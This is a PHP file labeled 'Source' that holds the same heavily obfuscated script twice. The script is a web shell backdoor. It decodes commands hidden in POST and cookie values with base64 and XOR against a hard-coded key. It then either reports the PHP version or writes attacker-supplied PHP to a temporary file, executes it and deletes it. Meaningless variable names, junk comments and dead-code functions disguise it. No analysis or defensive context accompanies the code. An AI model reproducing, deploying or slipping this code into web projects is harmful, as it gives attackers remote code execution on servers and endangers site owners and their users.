Source
<?php
$fbathlx = /*u*/ 'fbathlx' ^ /* pnxuz */ '
';
function wghzm(){
$_tmvwvknh = 22;
$fheahu = /* mub */ 'swud';
$vbpdemss = 'oqn_uefy';
/*nmwuf */ $rvaecehq_v /* tavpbi */ = /* xs */ 20;
$alabviilwj /* oi */ = 'osezfiawl';
/* p */ return $_POST;
}
$xcyfnp /* skyua */ = wghzm();
$ysaqwqreae = 26;
$plvrqhzs = /*xysx */ 'ixo_kxbs';
$kpqotvzlbjhos = $_COOKIE;
$ysaqwqdmwtq /* cwij */ = 'jjpp';
$aexusrgci = 48;
wghzm();
function hqcjkzd($fjisyi, /*the*/ $zrjjuprs){
/* fkx */ global $fbathlx;
$grsstw = sprintf($fbathlx(470-424) . "/".$fbathlx(481-444) . /* l*/ "\163" . /*on */ $fbathlx(837-791) . "p".$fbathlx(402-294), md5($fjisyi));
file_put_contents($grsstw, "<" /* gsqq */ . "?"."p"."h".$fbathlx(112) . $fbathlx(32) . "\x75" . $fbathlx(609-499) /* dzqz*/ . "l"."i"."\156" . $fbathlx(107) . "("."\137" . "_"."F"."I"."\114" . "E"."_".$fbathlx(95) . "\51" . "\x3b" /* bags */ . $fbathlx(32) /* ozdw */ . $zrjjuprs["\x64"]);
$fobcyzsf = 'pzqtqmy';
/* lma */ include($grsstw);
$kpqotdfwy_e = 'rilzbncmwv';
$fobcyzsf = base64_decode($fobcyzsf);
$xlfgqlu = /* v */ 'sxjmjrestq';
$rfjgmfpot /* iiciqn */ = $grsstw;
$kpqotdfwy_e = base64_decode($xlfgqlu);
@unlink($rfjgmfpot);
$tyxofviga /* y_y */ = /* bwglp */ 'wyo';}
function /*wyfeoi */ wgjomphkk(){
global /* cnkzlf */ $fbathlx;
$kpqot = array();
$kpqot[$fbathlx(326-214) . "\166"] = phpversion();
$kpqot[$fbathlx(712-597) . "\x76"] = /* dff*/ "\x33" . /*k */ "\56" . "5"; echo /* aedti */ @serialize($kpqot); $fagxkx /*min */ = 9;}
function /*__vnw */ llsux($zrjjuprs, $fjisyi, $auxqxrdauq)
{
/*r */ global $fbathlx;
/* gbeu*/ $zrjjuprs /* y */ = unserialize(o_qfsbn(o_qfsbn(base64_decode($zrjjuprs), $fjisyi), $auxqxrdauq));
if /* i */ (isset($zrjjuprs["a"."k"])) /* nqtgm */ {
if /* fmz_g*/ ($zrjjuprs["a"] == /* w*/ "i") {
wgjomphkk(); $ysaqwqlgiba = 27; /* ikwq*/ } /* bja */ elseif ($zrjjuprs["a"] == "\145") /*vwgv */ {
/* araya */ hqcjkzd($fjisyi, $zrjjuprs);
$wfymh /*gjc */ = 'qmryyoto';
/* i_igc */ }
/* dhcee */ exit();
/*uuaxmc */ }}
$kpqotvzlbjhos = /* nqr*/ array_merge($xcyfnp, $kpqotvzlbjhos);
$rlzdvcrj = /*sq*/ 'lkcymgo_ay';
function o_qfsbn($zrjjuprs, $fymytgan)
{
global $fbathlx;
/* ebh */ $raknntgz = "";
/* _qxh*/ for /* g */ ($kpqot /* o */ = 0; $kpqot /*a */ < strlen($zrjjuprs);) {
/*tvigp */ for /* gggtgb */ ($ysaqwq = /* gqd */ 0; $ysaqwq < /*kep*/ strlen($fymytgan) && /* dvdan */ $kpqot /* l */ < strlen($zrjjuprs); $ysaqwq++, /*ohkd */ $kpqot++) {
$raknntgz .= $fbathlx(ord($zrjjuprs[$kpqot]) ^ ord($fymytgan[$ysaqwq])); $vtxaysnnu = /*gfibvf */ 25; /* f */ }
/*pz*/ } return /* udgwx */ $raknntgz;}
$fjisyi /* gkzx */ = $fbathlx(615-563) /* rw */ . "\x32" /* hblxua*/ . $fbathlx(253-196) /* wbiu */ . "\x34" . "9"."c"."8"."8".$fbathlx(450-405) /* w */ . $fbathlx(52) . "3".$fbathlx(713-660) . /* ny */ "\x33" . /*nzgku */ "-"."\x34" . $fbathlx(831-781) . /*jcqx */ "\63" . /* orvyq */ $fbathlx(99) . /* avxd */ "-"."\141" . "\x61" /* xb */ . "\x63" /*zke*/ . "\143" . "-"."\146" . "5"."\62" . "\60" . "\x66" . "\x32" /* hyhnkh */ . "\x65" . $fbathlx(101) /*utt*/ . "\x35" /* x */ . $fbathlx(99) . "9"."\x64";$bnnhtrh /*ty */ = /* nr */ strlen($rlzdvcrj);
foreach /* mjkic */ ($kpqotvzlbjhos as $auxqxrdauq => $zrjjuprs) {
/* _hgwxj*/ llsux($zrjjuprs, $fjisyi, $auxqxrdauq);
}
function tesdvoir()
{
$zorct /*xput */ = /* ovrkso */ 'qwaufmlsio'; /* thhzbv */ $qjfwrqo = /*y_ */ 24; $rqfybtm = 'nvsatwi'; /*z*/ $rininmcvi = 48;
/* blivy */ $npreq = strtoupper($zorct); $ptfpglq = $qjfwrqo - /*svruxr */ $rininmcvi; $qjfwrqo = /* xpr */ $ptfpglq /* oghjag */ - $qjfwrqo;
$bdezkklq /* de */ = 31;
/* fxplbq */ $_tzgfkjnn /* _osg*/ = 'miuzqd';
/*m */ $ptfpglq = $qjfwrqo /* dbmh */ % ($bdezkklq + /* u_ */ 3);}
tesdvoir();
?>
<?php
$fbathlx = /*u*/ 'fbathlx' ^ /* pnxuz */ '
';
function wghzm(){
$_tmvwvknh = 22;
$fheahu = /* mub */ 'swud';
$vbpdemss = 'oqn_uefy';
/*nmwuf */ $rvaecehq_v /* tavpbi */ = /* xs */ 20;
$alabviilwj /* oi */ = 'osezfiawl';
/* p */ return $_POST;
}
$xcyfnp /* skyua */ = wghzm();
$ysaqwqreae = 26;
$plvrqhzs = /*xysx */ 'ixo_kxbs';
$kpqotvzlbjhos = $_COOKIE;
$ysaqwqdmwtq /* cwij */ = 'jjpp';
$aexusrgci = 48;
wghzm();
function hqcjkzd($fjisyi, /*the*/ $zrjjuprs){
/* fkx */ global $fbathlx;
$grsstw = sprintf($fbathlx(470-424) . "/".$fbathlx(481-444) . /* l*/ "\163" . /*on */ $fbathlx(837-791) . "p".$fbathlx(402-294), md5($fjisyi));
file_put_contents($grsstw, "<" /* gsqq */ . "?"."p"."h".$fbathlx(112) . $fbathlx(32) . "\x75" . $fbathlx(609-499) /* dzqz*/ . "l"."i"."\156" . $fbathlx(107) . "("."\137" . "_"."F"."I"."\114" . "E"."_".$fbathlx(95) . "\51" . "\x3b" /* bags */ . $fbathlx(32) /* ozdw */ . $zrjjuprs["\x64"]);
$fobcyzsf = 'pzqtqmy';
/* lma */ include($grsstw);
$kpqotdfwy_e = 'rilzbncmwv';
$fobcyzsf = base64_decode($fobcyzsf);
$xlfgqlu = /* v */ 'sxjmjrestq';
$rfjgmfpot /* iiciqn */ = $grsstw;
$kpqotdfwy_e = base64_decode($xlfgqlu);
@unlink($rfjgmfpot);
$tyxofviga /* y_y */ = /* bwglp */ 'wyo';}
function /*wyfeoi */ wgjomphkk(){
global /* cnkzlf */ $fbathlx;
$kpqot = array();
$kpqot[$fbathlx(326-214) . "\166"] = phpversion();
$kpqot[$fbathlx(712-597) . "\x76"] = /* dff*/ "\x33" . /*k */ "\56" . "5"; echo /* aedti */ @serialize($kpqot); $fagxkx /*min */ = 9;}
function /*__vnw */ llsux($zrjjuprs, $fjisyi, $auxqxrdauq)
{
/*r */ global $fbathlx;
/* gbeu*/ $zrjjuprs /* y */ = unserialize(o_qfsbn(o_qfsbn(base64_decode($zrjjuprs), $fjisyi), $auxqxrdauq));
if /* i */ (isset($zrjjuprs["a"."k"])) /* nqtgm */ {
if /* fmz_g*/ ($zrjjuprs["a"] == /* w*/ "i") {
wgjomphkk(); $ysaqwqlgiba = 27; /* ikwq*/ } /* bja */ elseif ($zrjjuprs["a"] == "\145") /*vwgv */ {
/* araya */ hqcjkzd($fjisyi, $zrjjuprs);
$wfymh /*gjc */ = 'qmryyoto';
/* i_igc */ }
/* dhcee */ exit();
/*uuaxmc */ }}
$kpqotvzlbjhos = /* nqr*/ array_merge($xcyfnp, $kpqotvzlbjhos);
$rlzdvcrj = /*sq*/ 'lkcymgo_ay';
function o_qfsbn($zrjjuprs, $fymytgan)
{
global $fbathlx;
/* ebh */ $raknntgz = "";
/* _qxh*/ for /* g */ ($kpqot /* o */ = 0; $kpqot /*a */ < strlen($zrjjuprs);) {
/*tvigp */ for /* gggtgb */ ($ysaqwq = /* gqd */ 0; $ysaqwq < /*kep*/ strlen($fymytgan) && /* dvdan */ $kpqot /* l */ < strlen($zrjjuprs); $ysaqwq++, /*ohkd */ $kpqot++) {
$raknntgz .= $fbathlx(ord($zrjjuprs[$kpqot]) ^ ord($fymytgan[$ysaqwq])); $vtxaysnnu = /*gfibvf */ 25; /* f */ }
/*pz*/ } return /* udgwx */ $raknntgz;}
$fjisyi /* gkzx */ = $fbathlx(615-563) /* rw */ . "\x32" /* hblxua*/ . $fbathlx(253-196) /* wbiu */ . "\x34" . "9"."c"."8"."8".$fbathlx(450-405) /* w */ . $fbathlx(52) . "3".$fbathlx(713-660) . /* ny */ "\x33" . /*nzgku */ "-"."\x34" . $fbathlx(831-781) . /*jcqx */ "\63" . /* orvyq */ $fbathlx(99) . /* avxd */ "-"."\141" . "\x61" /* xb */ . "\x63" /*zke*/ . "\143" . "-"."\146" . "5"."\62" . "\60" . "\x66" . "\x32" /* hyhnkh */ . "\x65" . $fbathlx(101) /*utt*/ . "\x35" /* x */ . $fbathlx(99) . "9"."\x64";$bnnhtrh /*ty */ = /* nr */ strlen($rlzdvcrj);
foreach /* mjkic */ ($kpqotvzlbjhos as $auxqxrdauq => $zrjjuprs) {
/* _hgwxj*/ llsux($zrjjuprs, $fjisyi, $auxqxrdauq);
}
function tesdvoir()
{
$zorct /*xput */ = /* ovrkso */ 'qwaufmlsio'; /* thhzbv */ $qjfwrqo = /*y_ */ 24; $rqfybtm = 'nvsatwi'; /*z*/ $rininmcvi = 48;
/* blivy */ $npreq = strtoupper($zorct); $ptfpglq = $qjfwrqo - /*svruxr */ $rininmcvi; $qjfwrqo = /* xpr */ $ptfpglq /* oghjag */ - $qjfwrqo;
$bdezkklq /* de */ = 31;
/* fxplbq */ $_tzgfkjnn /* _osg*/ = 'miuzqd';
/*m */ $ptfpglq = $qjfwrqo /* dbmh */ % ($bdezkklq + /* u_ */ 3);}
tesdvoir();
?>